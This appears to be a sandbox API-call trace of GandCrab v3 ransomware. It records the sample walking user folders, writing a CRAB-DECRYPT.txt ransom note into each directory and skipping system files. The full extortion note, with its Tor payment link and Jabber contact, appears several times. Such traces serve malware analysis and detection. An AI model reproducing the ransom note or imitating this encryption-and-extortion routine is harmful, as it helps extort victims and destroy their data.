	[0108.973] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0108.973] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0108.974] CloseHandle (hObject=0x3ec) returned 1
	[0108.974] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.974] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned 44
	[0108.974] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*"
	[0108.974] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0xd802a0
	[0108.974] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0108.975] FindNextFileW (in: hFindFile=0xd802a0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0108.975] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0108.975] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0108.975] FindNextFileW (in: hFindFile=0xd802a0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0108.975] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1
	[0108.975] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1
	[0108.975] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat"
	[0108.975] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\"
	[0108.975] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.975] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.975] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0108.976] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0108.976] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0108.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0108.976] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0108.976] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0108.976] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.976] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\\\CRAB-DECRYPT.txt") returned 69
	[0108.976] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0108.977] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0108.977] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0108.977] CloseHandle (hObject=0x3f0) returned 1
	[0108.978] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.978] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\") returned 52
	[0108.978] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*"
	[0108.978] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xd80520
	[0108.978] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0108.978] FindNextFileW (in: hFindFile=0xd80520, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0108.978] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0108.978] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0108.978] FindNextFileW (in: hFindFile=0xd80520, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0108.978] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0108.978] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0108.978] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\CRAB-DECRYPT.txt"
	[0108.978] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.979] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\CRAB-DECRYPT.txt") returned 68
	[0108.979] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\CRAB-DECRYPT.txt") returned 68
	[0108.979] lstrlenW (lpString=".txt") returned 4
	[0108.979] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.979] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0108.979] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.979] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\CRAB-DECRYPT.txt") returned 68
	[0108.979] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\CRAB-DECRYPT.txt") returned 68
	[0108.979] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0108.979] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0108.979] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0108.979] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0108.979] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0108.979] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0108.979] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0108.980] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0108.980] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0108.980] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.980] FindNextFileW (in: hFindFile=0xd80520, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0108.980] lstrcmpW (lpString1="DC", lpString2=".") returned 1
	[0108.980] lstrcmpW (lpString1="DC", lpString2="..") returned 1
	[0108.980] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC"
	[0108.980] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\"
	[0108.980] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.980] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.981] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.981] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.981] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.981] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.981] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0108.981] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0108.981] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0108.981] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0108.981] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0108.982] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0108.982] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.982] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\\\CRAB-DECRYPT.txt") returned 72
	[0108.982] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0108.983] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0108.983] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0108.983] CloseHandle (hObject=0x3f4) returned 1
	[0108.984] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.984] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned 55
	[0108.984] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*"
	[0108.984] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xd802e0
	[0108.984] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0108.984] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0108.985] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0108.985] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0108.985] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0108.985] lstrcmpW (lpString1="Collab", lpString2=".") returned 1
	[0108.985] lstrcmpW (lpString1="Collab", lpString2="..") returned 1
	[0108.985] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Collab" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab"
	[0108.985] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\"
	[0108.985] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.985] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.985] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.985] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.985] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.985] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.985] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0108.985] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0108.985] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0108.985] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0108.986] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0108.986] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0108.986] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.986] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\\\CRAB-DECRYPT.txt") returned 79
	[0108.986] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\acrobat\\dc\\collab\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0108.987] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0108.987] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0108.988] CloseHandle (hObject=0x3f8) returned 1
	[0108.988] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.989] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\") returned 62
	[0108.989] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*"
	[0108.989] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xd80360
	[0108.989] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0108.989] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0108.989] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0108.989] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0108.989] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0108.989] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0108.989] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0108.989] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\CRAB-DECRYPT.txt"
	[0108.989] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.989] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\CRAB-DECRYPT.txt") returned 78
	[0108.989] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\CRAB-DECRYPT.txt") returned 78
	[0108.989] lstrlenW (lpString=".txt") returned 4
	[0108.990] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.990] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0108.990] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.990] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\CRAB-DECRYPT.txt") returned 78
	[0108.990] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\CRAB-DECRYPT.txt") returned 78
	[0108.990] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0108.990] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0108.990] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0108.990] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
